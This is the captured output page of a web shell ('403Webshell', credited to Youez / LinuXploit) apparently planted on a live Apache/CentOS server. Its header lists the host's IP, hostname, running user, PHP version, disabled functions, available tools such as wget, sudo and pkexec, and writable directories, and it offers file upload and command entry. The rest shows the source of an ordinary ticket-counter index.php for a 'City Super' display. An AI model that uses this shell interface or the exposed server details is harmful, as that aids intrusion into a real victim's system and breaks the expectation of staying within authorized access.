403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/citysuper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/citysuper/index.php
<?php
	require_once('webadmin/basic_info.php');

	$sql       = "select * from logo";
	$logo_info = bind_pdo($sql, NULL, "selectone");

	$sql         = "select * from config where id = 1";
	$config_info = bind_pdo($sql, NULL, "selectone");
?>

<html>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
	<title>City Super</title>
	<script type="text/javascript" src="js/jquery-1.11.1.min.js"></script>
	<script type="text/javascript" src="js/jquery-migrate-1.2.1.min.js"></script>
	<script type="text/javascript" src="js/jquery-ui-1.11.4/jquery-ui.min.js"></script>
	<link type="text/css" href="js/jquery-ui-1.11.4/jquery-ui.css" rel="stylesheet"/>
	<link rel="stylesheet" type="text/css" href="css/style.css"/>

	<script type="text/javascript">
		function startTime() {
			var today = new Date();
			var day = today.getDate();
			var month = parseInt(today.getMonth()) + 1;
			var year = today.getFullYear();
			var h = parseInt(today.getHours());
			var m = today.getMinutes();
			if (h >= 12) {
				if (h > 12) {
					h = h - 12;
				}

				var am_pm = "pm";
			} else {
				var am_pm = "am";
			}

			m = checkTime(m);
			document.getElementById('current_time').innerHTML = day + "-" + month + "-" + year + " " + h + ":" + m + " " + am_pm;
			var t = setTimeout(function () {
				startTime()
			}, 1000);
		}

		function checkTime(i) {
			if (i < 10) {
				i = "0" + i
			}  // add zero in front of numbers < 10
			return i;
		}

		$(function () {
			startTime();
		});

	</script>

	<script>
		function get_latest_count() {

			if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari
				xmlhttp = new XMLHttpRequest();
			}
			else {// code for IE6, IE5
				xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
			}
			xmlhttp.onreadystatechange = function () {
				if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
					//document.getElementById("txtHint").innerHTML=xmlhttp.responseText;
					//console.log(xmlhttp.responseText);
					var result = $.trim(xmlhttp.responseText);

					console.log(result);

					if (result != "" && result != null) {
						var obj = JSON.parse(result);

						if (obj.Response == "SUCCESS") {
							var startno = obj.startno;
							var endno = obj.endno;

							$("#counting").html(startno);
							$("#last_ticket").html("Last ticket no.: " + endno);

							/*//set container size to window height and width
							var window_width = parseInt($(window).width());
							var window_height = parseInt($(window).height());
							$("#container").css("width", (window_width-30)+"px");
							$("#container").css("height", (window_height-30)+"px");*/
						} else {
							//alert("Fail.");
						}
					} else {
						//alert("Fail.");
					}

					setTimeout(get_latest_count(), <?=$config_info{"config_value"}?>); 

				}
			}
			xmlhttp.open("GET", "get_count_num.php", true);
			xmlhttp.send();
		}

		$(function () {
			get_latest_count();
		});
	</script>
</head>
<body id="index_body">

<div id="container">
	<div id="logo">
		<img src="images/logo/<?= $logo_info["logo_img"] ?>" style="height: 100px;"/>
	</div>

	<div id="counting"></div>

	<div id="other_info">
		<div id="current_time"></div>

		<div id="last_ticket"></div>
	</div>
</div>

</body>
</html>


Youez - 2016 - github.com/yon3zu
LinuXploit